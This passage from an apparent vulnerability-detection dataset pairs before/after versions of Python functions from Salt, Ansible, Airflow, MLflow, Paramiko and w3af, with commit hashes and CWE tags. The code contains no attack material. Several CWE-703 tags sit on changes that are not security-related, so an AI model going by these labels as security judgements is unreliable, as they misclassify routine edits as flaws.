    * `pillar_key`: The salt-master will nest found external pillars under
      this key before merging into the minion pillars. If blank, external
      pillars will be merged at top level
    """"""
    host = __opts__[""rethinkdb.host""]
    port = __opts__[""rethinkdb.port""]
    database = __opts__[""rethinkdb.database""]
    username = __opts__[""rethinkdb.username""]
    password = __opts__[""rethinkdb.password""]

    log.debug(
        ""Connecting to %s:%s as user '%s' for RethinkDB ext_pillar"",
        host,
        port,
        username,
    )

    # Connect to the database
    conn = rethinkdb.connect(
        host=host, port=port, db=database, user=username, password=password
    )

    data = None

    try:

        if id_field:
            log.debug(
                ""ext_pillar.rethinkdb: looking up pillar. ""
                ""table: %s, field: %s, minion: %s"",
                table,
                id_field,
                minion_id,
            )

            if field:
                data = (
                    rethinkdb.table(table)
                    .filter({id_field: minion_id})
                    .pluck(field)
                    .run(conn)
                )
            else:
                data = rethinkdb.table(table).filter({id_field: minion_id}).run(conn)

        else:
            log.debug(
                ""ext_pillar.rethinkdb: looking up pillar. ""
                ""table: %s, field: id, minion: %s"",
                table,
                minion_id,
            )

            if field:
                data = rethinkdb.table(table).get(minion_id).pluck(field).run(conn)
            else:
                data = rethinkdb.table(table).get(minion_id).run(conn)

    finally:
        if conn.is_open():
            conn.close()

    if data.items:

        # Return nothing if multiple documents are found for a minion
        if len(data.items) > 1:
            log.error(
                ""ext_pillar.rethinkdb: ambiguous documents found for "" ""minion %s"",
                minion_id,
            )
            return {}

        else:
            result = data.items.pop()

        if pillar_key:
            return {pillar_key: result}
        return result

    else:
        # No document found in the database
        log.debug(""ext_pillar.rethinkdb: no document found"")
        return {}",,saltstack/salt,b11d3057509b04f11cdd7b4038222fa889cd86db,"def ext_pillar(
    minion_id, pillar, table=""pillar"", id_field=None, field=None, pillar_key=None
):
    """"""
    Collect minion external pillars from a RethinkDB database

    Arguments:
    * `table`: The RethinkDB table containing external pillar information.
      Defaults to ``'pillar'``
    * `id_field`: Field in document containing the minion id.
      If blank then we assume the table index matches minion ids
    * `field`: Specific field in the document used for pillar data, if blank
      then the entire document will be used
    * `pillar_key`: The salt-master will nest found external pillars under
      this key before merging into the minion pillars. If blank, external
      pillars will be merged at top level
    """"""
    host = __opts__[""rethinkdb.host""]
    port = __opts__[""rethinkdb.port""]
    database = __opts__[""rethinkdb.database""]
    username = __opts__[""rethinkdb.username""]
    password = __opts__[""rethinkdb.password""]

    log.debug(
        ""Connecting to %s:%s as user '%s' for RethinkDB ext_pillar"",
        host,
        port,
        username,
    )

    # Connect to the database
    conn = rethinkdb.connect(
        host=host, port=port, db=database, user=username, password=password
    )

    data = None

    try:

        if id_field:
            log.debug(
                ""ext_pillar.rethinkdb: looking up pillar. ""
                ""table: %s, field: %s, minion: %s"",
                table,
                id_field,
                minion_id,
            )

            if field:
                data = (
                    rethinkdb.table(table)
                    .filter({id_field: minion_id})
                    .pluck(field)
                    .run(conn)
                )
            else:
                data = rethinkdb.table(table).filter({id_field: minion_id}).run(conn)

        else:
            log.debug(
                ""ext_pillar.rethinkdb: looking up pillar. ""
                ""table: %s, field: id, minion: %s"",
                table,
                minion_id,
            )

            if field:
                data = rethinkdb.table(table).get(minion_id).pluck(field).run(conn)
            else:
                data = rethinkdb.table(table).get(minion_id).run(conn)

    finally:
        if conn.is_open():
            conn.close()

    if data.items:

        # Return nothing if multiple documents are found for a minion
        if len(data.items) > 1:
            log.error(
                ""ext_pillar.rethinkdb: ambiguous documents found for "" ""minion %s"",
                minion_id,
            )
            return {}

        else:
            result = data.items.pop()

        if pillar_key:
            return {pillar_key: result}
        return result

    else:
        # No document found in the database
        log.debug(""ext_pillar.rethinkdb: no document found"")
        return {}"
,UNKNOWN,UNKNOWN,test/units/plugins/connection/test_ssh.py,1,"def test_password_with_become(self):
        # test with some become settings
        self.pc.prompt = b'Password:'
        self.pc.become = True
        self.pc.success_key = 'BECOME-SUCCESS-abcdefg'
        self.conn._examine_output.side_effect = self._password_with_prompt_examine_output
        self.mock_popen_res.stdout.read.side_effect = [b""Password:"", b""BECOME-SUCCESS-abcdefg"", b""abc""]
        self.mock_popen_res.stderr.read.side_effect = [b""123""]
        self.mock_selector.select.side_effect = [
            [(SelectorKey(self.mock_popen_res.stdout, 1001, [EVENT_READ], None), EVENT_READ)],
            [(SelectorKey(self.mock_popen_res.stdout, 1001, [EVENT_READ], None), EVENT_READ)],
            [(SelectorKey(self.mock_popen_res.stderr, 1002, [EVENT_READ], None), EVENT_READ)],
            [(SelectorKey(self.mock_popen_res.stdout, 1001, [EVENT_READ], None), EVENT_READ)],
            []]
        self.mock_selector.get_map.side_effect = lambda: True

        return_code, b_stdout, b_stderr = self.conn._run(""ssh"", ""this is input data"")
        assert return_code == 0
        assert b_stdout == b'abc'
        assert b_stderr == b'123'
        assert self.mock_selector.register.called is True
        assert self.mock_selector.register.call_count == 2
        assert self.conn._send_initial_data.called is True
        assert self.conn._send_initial_data.call_count == 1
        assert self.conn._send_initial_data.call_args[0][1] == 'this is input data'",CWE-703,ansible/ansible,649ffc10a2a1ea848535e9a0fba91cde4018a399,"def test_password_with_become(self):
        # test with some become settings
        self.pc.prompt = b'Password:'
        self.pc.become = True
        self.pc.success_key = 'BECOME-SUCCESS-abcdefg'
        self.conn._examine_output.side_effect = self._password_with_prompt_examine_output
        self.mock_popen_res.stdout.read.side_effect = [b""Password:"", b""BECOME-SUCCESS-abcdefg"", b""abc""]
        self.mock_popen_res.stderr.read.side_effect = [b""123""]
        self.mock_selector.select.side_effect = [
            [(SelectorKey(self.mock_popen_res.stdout, 1001, [EVENT_READ], None), EVENT_READ)],
            [(SelectorKey(self.mock_popen_res.stdout, 1001, [EVENT_READ], None), EVENT_READ)],
            [(SelectorKey(self.mock_popen_res.stderr, 1002, [EVENT_READ], None), EVENT_READ)],
            [(SelectorKey(self.mock_popen_res.stdout, 1001, [EVENT_READ], None), EVENT_READ)],
            []]
        self.mock_selector.get_map.side_effect = lambda: True

        return_code, b_stdout, b_stderr = self.conn._run(""ssh"", ""this is input data"")
        self.mock_popen_res.stdin.flush.assert_called_once_with()
        assert return_code == 0
        assert b_stdout == b'abc'
        assert b_stderr == b'123'
        assert self.mock_selector.register.called is True
        assert self.mock_selector.register.call_count == 2
        assert self.conn._send_initial_data.called is True
        assert self.conn._send_initial_data.call_count == 1
        assert self.conn._send_initial_data.call_args[0][1] == 'this is input data'"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/rabbitmq.py,0,"def list_upstreams(runas=None):
    '''
    Returns a dict of upstreams based on rabbitmqctl list_parameters.

    :param str runas: The name of the user to run this command as.

    CLI Example:

    .. code-block:: bash

        salt '*' rabbitmq.list_upstreams

    .. versionadded:: Neon
    '''
    if runas is None and not salt.utils.platform.is_windows():
        runas = salt.utils.user.get_user()
    ret = {}
    res = __salt__['cmd.run_all'](
        [RABBITMQCTL, 'list_parameters', '-q'],
        reset_system_locale=False,
        runas=runas,
        python_shell=False)
    for raw_line in res['stdout'].split('\n'):
        if _safe_output(raw_line):
            (_, name, definition) = raw_line.split('\t')
            ret[name] = definition
    return ret",,saltstack/salt,53dd15fc9da8d169a45cc2e33ecc366a632ec866,"def list_upstreams(runas=None):
    '''
    Returns a dict of upstreams based on rabbitmqctl list_parameters.

    :param str runas: The name of the user to run this command as.

    CLI Example:
    .. code-block:: bash
        salt '*' rabbitmq.list_upstreams

    .. versionadded:: Neon
    '''
    if runas is None and not salt.utils.platform.is_windows():
        runas = salt.utils.user.get_user()
    ret = {}
    res = __salt__['cmd.run_all'](
        [RABBITMQCTL, 'list_parameters', '-q'],
        reset_system_locale=False,
        runas=runas,
        python_shell=False)
    for raw_line in res['stdout'].split('\n'):
        if _safe_output(raw_line):
            (_, name, definition) = raw_line.split('\t')
            ret[name] = definition
    return ret"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_emit_pool_starving_tasks_metrics(self, mock_stats_gauge, dag_maker):
        scheduler_job = Job()
        self.job_runner = SchedulerJobRunner(job=scheduler_job, subdir=os.devnull)
        session = settings.Session()

        dag_id = ""SchedulerJobTest.test_emit_pool_starving_tasks_metrics""
        with dag_maker(dag_id=dag_id):
            op = EmptyOperator(task_id=""op"", pool_slots=2)

        dr = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)

        ti = dr.get_task_instance(op.task_id, session)
        ti.state = State.SCHEDULED

        set_default_pool_slots(1)
        session.flush()

        res = self.job_runner._executable_task_instances_to_queued(max_tis=32, session=session)
        assert 0 == len(res)

        mock_stats_gauge.assert_has_calls(
            [
                mock.call(""scheduler.tasks.starving"", 1),
                mock.call(f""pool.starving_tasks.{Pool.DEFAULT_POOL_NAME}"", 1),
                mock.call(""pool.starving_tasks"", 1, tags={""pool_name"": Pool.DEFAULT_POOL_NAME}),
            ],
            any_order=True,
        )
        mock_stats_gauge.reset_mock()

        set_default_pool_slots(2)
        session.flush()

        res = self.job_runner._executable_task_instances_to_queued(max_tis=32, session=session)
        assert 1 == len(res)

        mock_stats_gauge.assert_has_calls(
            [
                mock.call(""scheduler.tasks.starving"", 0),
                mock.call(f""pool.starving_tasks.{Pool.DEFAULT_POOL_NAME}"", 0),
                mock.call(""pool.starving_tasks"", 0, tags={""pool_name"": Pool.DEFAULT_POOL_NAME}),
            ],
            any_order=True,
        )

        session.rollback()
        session.close()",CWE-703,apache/airflow,936e7c4755e503cc2a067398e39d485fc8f0984e,"def test_emit_pool_starving_tasks_metrics(self, mock_stats_gauge, dag_maker):
        scheduler_job = Job()
        self.job_runner = SchedulerJobRunner(job=scheduler_job, subdir=os.devnull)
        session = settings.Session()

        dag_id = ""SchedulerJobTest.test_emit_pool_starving_tasks_metrics""
        with dag_maker(dag_id=dag_id):
            op = EmptyOperator(task_id=""op"", pool_slots=2)

        dr = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)

        ti = dr.get_task_instance(op.task_id, session)
        ti.state = State.SCHEDULED

        set_default_pool_slots(1)
        session.flush()

        res = self.job_runner._executable_task_instances_to_queued(max_tis=32, session=session)
        assert 0 == len(res)

        mock_stats_gauge.assert_has_calls(
            [
                mock.call(""scheduler.tasks.starving"", 1),
                mock.call(f""pool.starving_tasks.{Pool.DEFAULT_POOL_NAME}"", 1),
            ],
            any_order=True,
        )
        mock_stats_gauge.reset_mock()

        set_default_pool_slots(2)
        session.flush()

        res = self.job_runner._executable_task_instances_to_queued(max_tis=32, session=session)
        assert 1 == len(res)

        mock_stats_gauge.assert_has_calls(
            [
                mock.call(""scheduler.tasks.starving"", 0),
                mock.call(f""pool.starving_tasks.{Pool.DEFAULT_POOL_NAME}"", 0),
            ],
            any_order=True,
        )

        session.rollback()
        session.close()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/playbook/play_context.py,0,"def set_options(self, options):
        '''
        Configures this connection information instance with data from
        options specified by the user on the command line. These have a
        lower precedence than those set on the play or host.
        '''

        # privilege escalation
        self.become = options.become
        self.become_method = options.become_method
        self.become_user = options.become_user

        self.check_mode = boolean(options.check, strict=False)

        #  general flags (should we move out?)
        # for flag in ('connection', 'remote_user', 'private_key_file', 'verbosity', 'force_handlers', 'step', 'start_at_task', 'diff'):
        #  should only be 'non plugin' flags
        for flag in ('connection', 'remote_user', 'private_key_file', 'verbosity', 'force_handlers', 'step', 'start_at_task', 'diff'):
            attribute = getattr(options, flag, False)
            if attribute:
                setattr(self, flag, attribute)

        if hasattr(options, 'timeout') and options.timeout:
            self.timeout = int(options.timeout)

        # get the tag info from options. We check to see if the options have
        # the attribute, as it is not always added via the CLI
        if hasattr(options, 'tags'):
            self.only_tags.update(options.tags)

        if len(self.only_tags) == 0:
            self.only_tags = set(['all'])

        if hasattr(options, 'skip_tags'):
            self.skip_tags.update(options.skip_tags)",,ansible/ansible,8a6e1531b7ff465eb0cc2c46df514b1ee44f0329,"def set_options(self, options):
        '''
        Configures this connection information instance with data from
        options specified by the user on the command line. These have a
        lower precedence than those set on the play or host.
        '''

        # privilege escalation
        self.become = options.become
        self.become_method = options.become_method
        self.become_user = options.become_user

        self.check_mode = boolean(options.check, strict=False)

        #  general flags (should we move out?)
        # for flag in ('connection', 'remote_user', 'private_key_file', 'verbosity', 'force_handlers', 'step', 'start_at_task', 'diff'):
        #  should only be 'non plugin' flags
        for flag in ('connection', 'private_key_file', 'verbosity', 'force_handlers', 'step', 'start_at_task', 'diff'):
            attribute = getattr(options, flag, False)
            if attribute:
                setattr(self, flag, attribute)

        if hasattr(options, 'timeout') and options.timeout:
            self.timeout = int(options.timeout)

        # get the tag info from options. We check to see if the options have
        # the attribute, as it is not always added via the CLI
        if hasattr(options, 'tags'):
            self.only_tags.update(options.tags)

        if len(self.only_tags) == 0:
            self.only_tags = set(['all'])

        if hasattr(options, 'skip_tags'):
            self.skip_tags.update(options.skip_tags)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/clint/src/clint/rules.py,0,"def check(node: ast.Call, resolver: Resolver) -> bool:
        """"""
        Returns True if the call is threading.Thread() without a name parameter.
        """"""
        return (
            (resolved := resolver.resolve(node))
            and resolved == [""threading"", ""Thread""]
            and not any(keyword.arg == ""name"" for keyword in node.keywords)
        )",,mlflow/mlflow,4c0b0da70ab74c26d2592c1bb2f60531b0b30088,"def check(node: ast.Call, resolver: Resolver) -> bool:
        """"""
        Returns True if the call is threading.Thread() without a name parameter.
        """"""
        return (
            (resolved := resolver.resolve(node))
            and resolved == [""threading"", ""Thread""]
            and not any(keyword.arg == ""name"" for keyword in node.keywords)
        )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/packet.py,0,"def set_outbound_cipher(
        self,
        block_engine,
        block_size,
        mac_engine,
        mac_size,
        mac_key,
        sdctr=False,
        etm=False,
    ):
        """"""
        Switch outbound data cipher.
        :param etm: Set encrypt-then-mac from OpenSSH
        """"""
        self.__block_engine_out = block_engine
        self.__sdctr_out = sdctr
        self.__block_size_out = block_size
        self.__mac_engine_out = mac_engine
        self.__mac_size_out = mac_size
        self.__mac_key_out = mac_key
        self.__sent_bytes = 0
        self.__sent_packets = 0
        self.__etm_out = etm
        # wait until the reset happens in both directions before clearing
        # rekey flag
        self.__init_count |= 1
        if self.__init_count == 3:
            self.__init_count = 0
            self.__need_rekey = False",,paramiko/paramiko,d6175ee2c9d41458d303993ec8a10db2b220be7f,"def set_outbound_cipher(
        self,
        block_engine,
        block_size,
        mac_engine,
        mac_size,
        mac_key,
        sdctr=False,
        etm=False,
    ):
        """"""
        Switch outbound data cipher.
        :param etm: Set encrypt-then-mac from OpenSSH
        """"""
        self.__block_engine_out = block_engine
        self.__sdctr_out = sdctr
        self.__block_size_out = block_size
        self.__mac_engine_out = mac_engine
        self.__mac_size_out = mac_size
        self.__mac_key_out = mac_key
        self.__sent_bytes = 0
        self.__sent_packets = 0
        self.__etm_out = etm
        # wait until the reset happens in both directions before clearing
        # rekey flag
        self.__init_count |= 1
        if self.__init_count == 3:
            self.__init_count = 0
            self.__need_rekey = False"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/daemons/flo/core.py,0,"def _process_udp_rxmsg(self, msg, sender):
        '''
        Send to the right queue
        msg is the message body dict
        sender is the unique name of the remote estate that sent the message
        '''
        try:
            s_estate, s_yard, s_share = msg['route']['src']
            d_estate, d_yard, d_share = msg['route']['dst']
        except (ValueError, IndexError):
            log.error('Received invalid message: {0}'.format(msg))
            return

        if s_estate is None:  # drop
            return

        log.debug(""**** Road Router rxMsg **** id={0} estate={1} yard={2}\n   msg= {3}\n"".format(
                self.opts.value['id'],
                self.udp_stack.value.local.name,
                self.uxd_stack.value.local.name,
                msg['route']))

        if d_estate is None:
            pass
        elif d_estate != self.udp_stack.value.local.name:
            log.error(
                    'Received message for wrong estate: {0}'.format(d_estate))
            return

        if d_yard is not None:
            # Meant for another yard, send it off!
            if d_yard in self.uxd_stack.value.nameRemotes:
                self.uxd_stack.value.transmit(msg,
                        self.uxd_stack.value.nameRemotes[d_yard].uid)
                return
            return
        if d_share is None:
            # No queue destination!
            log.error('Received message without share: {0}'.format(msg))
            return
        elif d_share == 'local_cmd':
            # Refuse local commands over the wire
            log.error('Received local command remotely! Ignoring: {0}'.format(msg))
            return
        elif d_share == 'remote_cmd':
            # Send it to a remote worker
            if 'load' in msg:
                role = self.udp_stack.value.nameRemotes[sender].role
                msg['load']['id'] = role  # sender # should this be role XXXX
                self.uxd_stack.value.transmit(msg,
                        self.uxd_stack.value.fetchUidByName(next(self.workers.value)))
        elif d_share == 'fun':
            self.fun.value.append(msg)",,saltstack/salt,b57019e706a23463f09a2b52ad4d5ef8f0b7d453,"def _process_udp_rxmsg(self, msg, sender):
        '''
        Send to the right queue
        msg is the message body dict
        sender is the unique name of the remote estate that sent the message
        '''
        try:
            s_estate, s_yard, s_share = msg['route']['src']
            d_estate, d_yard, d_share = msg['route']['dst']
        except (ValueError, IndexError):
            log.error('Received invalid message: {0}'.format(msg))
            return

        if s_estate is None:  # drop
            return

        log.debug(""**** Road Router rxMsg ****\n   id {0} estate {1} yard {2}\n{3}\n"".format(
                self.opts.value['id'],
                self.udp_stack.value.local.name,
                self.uxd_stack.value.local.name,
                msg['route']))

        if d_estate is None:
            pass
        elif d_estate != self.udp_stack.value.local.name:
            log.error(
                    'Received message for wrong estate: {0}'.format(d_estate))
            return

        if d_yard is not None:
            # Meant for another yard, send it off!
            if d_yard in self.uxd_stack.value.nameRemotes:
                self.uxd_stack.value.transmit(msg,
                        self.uxd_stack.value.nameRemotes[d_yard].uid)
                return
            return
        if d_share is None:
            # No queue destination!
            log.error('Received message without share: {0}'.format(msg))
            return
        elif d_share == 'local_cmd':
            # Refuse local commands over the wire
            log.error('Received local command remotely! Ignoring: {0}'.format(msg))
            return
        elif d_share == 'remote_cmd':
            # Send it to a remote worker
            if 'load' in msg:
                role = self.udp_stack.value.nameRemotes[sender].role
                msg['load']['id'] = role  # sender # should this be role XXXX
                self.uxd_stack.value.transmit(msg,
                        self.uxd_stack.value.fetchUidByName(next(self.workers.value)))
        elif d_share == 'fun':
            self.fun.value.append(msg)"
,UNKNOWN,UNKNOWN,tests/www/test_utils.py,1,"def test_epoch(self):
        test_datetime = datetime(2024, 6, 19, 12, 0, 0)
        result = utils.epoch(test_datetime)
        epoch_time = result[0]

        expected_epoch_time = int(time.mktime(test_datetime.timetuple())) * 1000

        assert epoch_time == expected_epoch_time",CWE-703,apache/airflow,c1772d090f0f5185a916e9922d30d6f1c4fe1531,"def test_epoch(self):
        test_datetime = datetime(2024, 6, 19, 12, 0, 0)
        result = utils.epoch(test_datetime)
        epoch_time = result[0]

        expected_epoch_time = int(time.mktime(test_datetime.timetuple())) * 1000

        assert epoch_time == expected_epoch_time"
,UNKNOWN,UNKNOWN,tests/core/test_configuration.py,1,"def test_config_from_secret_backend_caches_instance(self, mock_hvac):
        """"""Get Config Value from a Secret Backend""""""
        _custom_secrets_backend.cache_clear()

        test_config = '''[test]
sql_alchemy_conn_secret = sql_alchemy_conn
secret_key_secret = secret_key
'''
        test_config_default = '''[test]
sql_alchemy_conn = airflow
secret_key = airflow
'''

        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client

        def fake_read_secret(path, mount_point, version):
            if path.endswith('sql_alchemy_conn'):
                return {
                    'request_id': '2d48a2ad-6bcb-e5b6-429d-da35fdf31f56',
                    'lease_id': '',
                    'renewable': False,
                    'lease_duration': 0,
                    'data': {
                        'data': {'value': 'fake_conn'},
                        'metadata': {
                            'created_time': '2020-03-28T02:10:54.301784Z',
                            'deletion_time': '',
                            'destroyed': False,
                            'version': 1,
                        },
                    },
                    'wrap_info': None,
                    'warnings': None,
                    'auth': None,
                }
            if path.endswith('secret_key'):
                return {
                    'request_id': '2d48a2ad-6bcb-e5b6-429d-da35fdf31f56',
                    'lease_id': '',
                    'renewable': False,
                    'lease_duration': 0,
                    'data': {
                        'data': {'value': 'fake_key'},
                        'metadata': {
                            'created_time': '2020-03-28T02:10:54.301784Z',
                            'deletion_time': '',
                            'destroyed': False,
                            'version': 1,
                        },
                    },
                    'wrap_info': None,
                    'warnings': None,
                    'auth': None,
                }

        mock_client.secrets.kv.v2.read_secret_version.side_effect = fake_read_secret

        test_conf = AirflowConfigParser(default_config=parameterized_config(test_config_default))
        test_conf.read_string(test_config)
        test_conf.sensitive_config_values = test_conf.sensitive_config_values | {
            ('test', 'sql_alchemy_conn'),
            ('test', 'secret_key'),
        }

        assert 'fake_conn' == test_conf.get('test', 'sql_alchemy_conn')
        mock_hvac.Client.assert_called_once()
        assert 'fake_key' == test_conf.get('test', 'secret_key')
        mock_hvac.Client.assert_called_once()
        _custom_secrets_backend.cache_clear()",CWE-703,apache/airflow,aa877637f40ddbf3b74f99847606b52eb26a92d9,"def test_config_from_secret_backend_caches_instance(self, mock_hvac):
        """"""Get Config Value from a Secret Backend""""""
        _custom_secrets_backend.cache_clear()

        test_config = '''[test]
sql_alchemy_conn_secret = sql_alchemy_conn
secret_key_secret = secret_key
'''
        test_config_default = '''[test]
sql_alchemy_conn = airflow
secret_key = airflow
'''

        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client

        def fake_read_secret(path, mount_point, version):
            if path.endswith('sql_alchemy_conn'):
                return {
                    'request_id': '2d48a2ad-6bcb-e5b6-429d-da35fdf31f56',
                    'lease_id': '',
                    'renewable': False,
                    'lease_duration': 0,
                    'data': {
                        'data': {'value': 'fake_conn'},
                        'metadata': {
                            'created_time': '2020-03-28T02:10:54.301784Z',
                            'deletion_time': '',
                            'destroyed': False,
                            'version': 1,
                        },
                    },
                    'wrap_info': None,
                    'warnings': None,
                    'auth': None,
                }
            if path.endswith('secret_key'):
                return {
                    'request_id': '2d48a2ad-6bcb-e5b6-429d-da35fdf31f56',
                    'lease_id': '',
                    'renewable': False,
                    'lease_duration': 0,
                    'data': {
                        'data': {'value': 'fake_key'},
                        'metadata': {
                            'created_time': '2020-03-28T02:10:54.301784Z',
                            'deletion_time': '',
                            'destroyed': False,
                            'version': 1,
                        },
                    },
                    'wrap_info': None,
                    'warnings': None,
                    'auth': None,
                }

        mock_client.secrets.kv.v2.read_secret_version.side_effect = fake_read_secret

        test_conf = AirflowConfigParser(default_config=parameterized_config(test_config_default))
        test_conf.read_string(test_config)
        test_conf.sensitive_config_values = test_conf.sensitive_config_values | {
            ('test', 'sql_alchemy_conn'),
            ('test', 'secret_key'),
        }

        assert 'fake_conn' == test_conf.get('test', 'sql_alchemy_conn')
        mock_hvac.Client.assert_called_once()
        assert 'fake_key' == test_conf.get('test', 'secret_key')
        mock_hvac.Client.assert_called_once()
        _custom_secrets_backend.cache_clear()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/parsers/tests/test_url.py,0,"def test_can_be_pickled_with_qs(self):
        # Pickle a URL object that contains a query string
        u = URL('http://www.w3af.com/?id=1')

        pickled_url = cPickle.dumps(u)
        unpickled_url = cPickle.loads(pickled_url)

        self.assertEqual(unpickled_url, u)
        self.assertEqual(str(unpickled_url.get_querystring()), 'id=1')",,andresriancho/w3af,742d6f8c85648284eb501ba57d236eb72c543541,"def test_can_be_pickled_with_qs(self):
        # Pickle a URL object that contains a query string
        u = URL('http://www.w3af.com/?id=1')
        cPickle.dumps(u)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/models.py,0,"def test_sync_to_db(self, mock_now):
        dag = DAG(
            'dag',
            start_date=DEFAULT_DATE,
        )
        with dag:
            DummyOperator(task_id='task', owner='owner1')
            SubDagOperator(
                task_id='subtask',
                owner='owner2',
                subdag=DAG(
                    'dag.subtask',
                    start_date=DEFAULT_DATE,
                )
            )
        now = datetime.datetime.utcnow().replace(tzinfo=pendulum.timezone('UTC'))
        mock_now.return_value = now
        session = settings.Session()
        dag.sync_to_db(session=session)

        orm_dag = session.query(DagModel).filter(DagModel.dag_id == 'dag').one()
        self.assertEqual(set(orm_dag.owners.split(', ')), {'owner1', 'owner2'})
        self.assertEqual(orm_dag.last_scheduler_run, now)
        self.assertTrue(orm_dag.is_active)
        self.assertIsNone(orm_dag.default_view)
        self.assertEqual(orm_dag.get_default_view(), configuration.conf.get('webserver', 'dag_default_view').lower())

        orm_subdag = session.query(DagModel).filter(
            DagModel.dag_id == 'dag.subtask').one()
        self.assertEqual(set(orm_subdag.owners.split(', ')), {'owner1', 'owner2'})
        self.assertEqual(orm_subdag.last_scheduler_run, now)
        self.assertTrue(orm_subdag.is_active)",CWE-Unknown,apache/airflow,ad7a70297b639142e0a89cfb89a116371d90e605,"def test_sync_to_db(self, mock_now):
        dag = DAG(
            'dag',
            start_date=DEFAULT_DATE,
        )
        with dag:
            DummyOperator(task_id='task', owner='owner1')
            SubDagOperator(
                task_id='subtask',
                owner='owner2',
                subdag=DAG(
                    'dag.subtask',
                    start_date=DEFAULT_DATE,
                )
            )
        now = datetime.datetime.utcnow().replace(tzinfo=pendulum.timezone('UTC'))
        mock_now.return_value = now
        session = settings.Session()
        dag.sync_to_db(session=session)

        orm_dag = session.query(DagModel).filter(DagModel.dag_id == 'dag').one()
        self.assertEqual(set(orm_dag.owners.split(', ')), {'owner1', 'owner2'})
        self.assertEqual(orm_dag.last_scheduler_run, now)
        self.assertTrue(orm_dag.is_active)

        orm_subdag = session.query(DagModel).filter(
            DagModel.dag_id == 'dag.subtask').one()
        self.assertEqual(set(orm_subdag.owners.split(', ')), {'owner1', 'owner2'})
        self.assertEqual(orm_subdag.last_scheduler_run, now)
        self.assertTrue(orm_subdag.is_active)"
,UNKNOWN,UNKNOWN,tests/providers/databricks/operators/test_databricks.py,1,"def test_execute_task_deferred(self, db_mock_class):
        """"""
        Test the execute function in case where the run is successful.
        """"""
        run = {""notebook_params"": NOTEBOOK_PARAMS, ""notebook_task"": NOTEBOOK_TASK, ""jar_params"": JAR_PARAMS}
        op = DatabricksRunNowDeferrableOperator(task_id=TASK_ID, job_id=JOB_ID, json=run)
        db_mock = db_mock_class.return_value
        db_mock.run_now.return_value = 1
        db_mock.get_run = make_run_with_state_mock(""TERMINATED"", ""SUCCESS"")

        with pytest.raises(TaskDeferred) as exc:
            op.execute(None)
        assert isinstance(exc.value.trigger, DatabricksExecutionTrigger)
        assert exc.value.method_name == ""execute_complete""

        expected = utils.normalise_json_content(
            {
                ""notebook_params"": NOTEBOOK_PARAMS,
                ""notebook_task"": NOTEBOOK_TASK,
                ""jar_params"": JAR_PARAMS,
                ""job_id"": JOB_ID,
            }
        )

        db_mock_class.assert_called_once_with(
            DEFAULT_CONN_ID,
            retry_limit=op.databricks_retry_limit,
            retry_delay=op.databricks_retry_delay,
            retry_args=None,
            caller=""DatabricksRunNowOperator"",
        )

        db_mock.run_now.assert_called_once_with(expected)
        db_mock.get_run_page_url.assert_called_once_with(RUN_ID)
        assert op.run_id == RUN_ID",CWE-703,apache/airflow,58e21c66fdcc8a416a697b4efa852473ad8bd6fc,"def test_execute_task_deferred(self, db_mock_class):
        """"""
        Test the execute function in case where the run is successful.
        """"""
        run = {""notebook_params"": NOTEBOOK_PARAMS, ""notebook_task"": NOTEBOOK_TASK, ""jar_params"": JAR_PARAMS}
        op = DatabricksRunNowDeferrableOperator(task_id=TASK_ID, job_id=JOB_ID, json=run)
        db_mock = db_mock_class.return_value
        db_mock.run_now.return_value = 1
        db_mock.get_run = make_run_with_state_mock(""TERMINATED"", ""SUCCESS"")

        with pytest.raises(TaskDeferred) as exc:
            op.execute(None)
        assert isinstance(exc.value.trigger, DatabricksExecutionTrigger)
        assert exc.value.method_name == ""execute_complete""

        expected = utils.normalise_json_content(
            {
                ""notebook_params"": NOTEBOOK_PARAMS,
                ""notebook_task"": NOTEBOOK_TASK,
                ""jar_params"": JAR_PARAMS,
                ""job_id"": JOB_ID,
            }
        )

        db_mock_class.assert_called_once_with(
            DEFAULT_CONN_ID,
            retry_limit=op.databricks_retry_limit,
            retry_delay=op.databricks_retry_delay,
            retry_args=None,
            caller=""DatabricksRunNowDeferrableOperator"",
        )

        db_mock.run_now.assert_called_once_with(expected)
        db_mock.get_run_page_url.assert_called_once_with(RUN_ID)
        assert op.run_id == RUN_ID"
,UNKNOWN,UNKNOWN,tests/evaluate/logging/test_evaluation_logging.py,1,"def test_log_assessments_with_same_name_and_source():
    inputs_1 = {""feature1"": 1.0, ""feature2"": 2.0}
    outputs_1 = {""prediction"": 0.5}
    inputs_2 = {""feature1"": 3.0, ""feature2"": 4.0}
    outputs_2 = {""prediction"": 0.7}

    assessment_1 = Assessment(
        name=""relevance"",
        value=0.9,
        source=AssessmentSource(source_type=AssessmentSourceType.HUMAN, source_id=""user_1""),
    )

    assessment_2 = Assessment(
        name=""relevance"",
        value=0.8,
        source=AssessmentSource(source_type=AssessmentSourceType.AI_JUDGE, source_id=""judge_1""),
    )

    updated_assessment_1 = Assessment(
        name=""relevance"",
        value=0.96,
        source=AssessmentSource(source_type=AssessmentSourceType.HUMAN, source_id=""user_1""),
    )

    with mlflow.start_run() as run:
        # Log the first evaluation and the first assessment
        logged_evaluation_1 = log_evaluation(inputs=inputs_1, outputs=outputs_1)
        log_assessments(evaluation_id=logged_evaluation_1.evaluation_id, assessments=[assessment_1])

        # Log the second evaluation and the second assessment
        logged_evaluation_2 = log_evaluation(inputs=inputs_2, outputs=outputs_2)
        log_assessments(evaluation_id=logged_evaluation_2.evaluation_id, assessments=[assessment_2])

        # Log the updated first assessment to the first evaluation
        log_assessments(
            evaluation_id=logged_evaluation_1.evaluation_id, assessments=[updated_assessment_1]
        )

    def assert_assessments_equal(assessment, expected_assessment):
        assert assessment.name == expected_assessment.name
        assert assessment.boolean_value == expected_assessment.boolean_value
        assert assessment.numeric_value == expected_assessment.numeric_value
